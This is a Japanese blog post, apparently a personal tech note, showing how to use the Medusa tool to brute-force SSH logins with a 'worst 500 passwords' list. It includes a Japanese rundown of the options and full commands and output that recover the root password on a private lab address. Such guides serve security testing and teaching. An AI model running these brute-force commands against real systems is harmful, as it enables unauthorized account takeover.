ほかにもリモートからのクラックツールとしては hydra とか ncrack が有名だが 機能が充実してそうな medusa を使う。
以下の@ITのサイトを参考にした。
http://www.atmarkit.co.jp/fsecurity/rensai/dknight06/dknight01.html
BackTrack には標準で付属しているためインストールなどは省略。
medusa 以外に必要になるのがユーザ名のリストやパスワードリスト、辞書など。
たとえば以下のサイトは2008年のワーストパスワードトップ500がある。
ここから抜き出しても使用できる。
http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time
以下、オプションで使いそうな部分だけ日本語に。
# medusa Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus NetworksALERT: Host information must be supplied. Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] -h [TEXT] : 検査対象のホスト名またはIPアドレスを指定 -H [FILE] : 検査対象のホスト名またはIPアドレスが記述されたファイルを指定 -u [TEXT] : 検査するユーザ名を指定 -U [FILE] : 検査するユーザ名が記述されたファイルを指定 -p [TEXT] : 検査するパスワードを指定 -P [FILE] : 検査するパスワードが記述されたファイルを指定 -C [FILE] : File containing combo entries. See README for more information. -O [FILE] : File to append log information to -e [n/s/ns] : n を指定するとパスワードなし、s を指定すると Password = Username で検査 -M [TEXT] : 検査するモジュール、要は ssh とか ftp とかを指定 -m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a different parameter each time and they will all be sent to the module (i.e. -m Param1 -m Param2, etc.) -d : Dump all known modules -n [NUM] : デフォルトではないポートを使用するときに指定、ssh なのに tcp 1000 とか使うとき -s : Enable SSL -g [NUM] : Give up after trying to connect for NUM seconds (default 3) -r [NUM] : Sleep NUM seconds between retry attempts (default 3) -R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1. -t [NUM] : Total number of logins to be tested concurrently -T [NUM] : Total number of hosts to be tested concurrently -L : Parallelize logins using one username per thread. The default is to process the entire username before proceeding. -f : Stop scanning host after first valid username/password found. -F : Stop audit after first valid username/password found on any host. -b : Suppress startup banner -q : Display module's usage information -v [NUM] : 表示レベルを 0 - 6 で指定 -w [NUM] : Error debug level [0 - 10 (more)] -V : Display version -Z [TEXT] : Resume scan based on map of previous scan
先ほどのワースト500のパスワードリストを使って、192.168.0.100 の ssh サーバに設定された root/pasword に対しての実行結果は以下のとおり。
# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus NetworksGENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1 GENERAL: Total Users: 1 GENERAL: Total Passwords: 501 The default build of Libssh2 is to use OpenSSL for crypto. Several Linux distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately, the implementation within Libssh2 of libgcrypt appears to be broken and is not thread safe. If you run multiple concurrent Medusa SSH connections, you are likely to experience segmentation faults. Please help Libssh2 fix this issue or encourage your distro to use the default Libssh2 build options. ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 501 complete) ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 501 complete) ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS] GENERAL: Medusa has finished.
これが500ワード全部実行するとログが多くなるので、-v で 4 を指定すると成功のみ表示される。
3以下は結果が出力されない。
# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh -v 4 Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus NetworksThe default build of Libssh2 is to use OpenSSL for crypto. Several Linux distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately, the implementation within Libssh2 of libgcrypt appears to be broken and is not thread safe. If you run multiple concurrent Medusa SSH connections, you are likely to experience segmentation faults. Please help Libssh2 fix this issue or encourage your distro to use the default Libssh2 build options. ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]
0 件のコメント:
コメントを投稿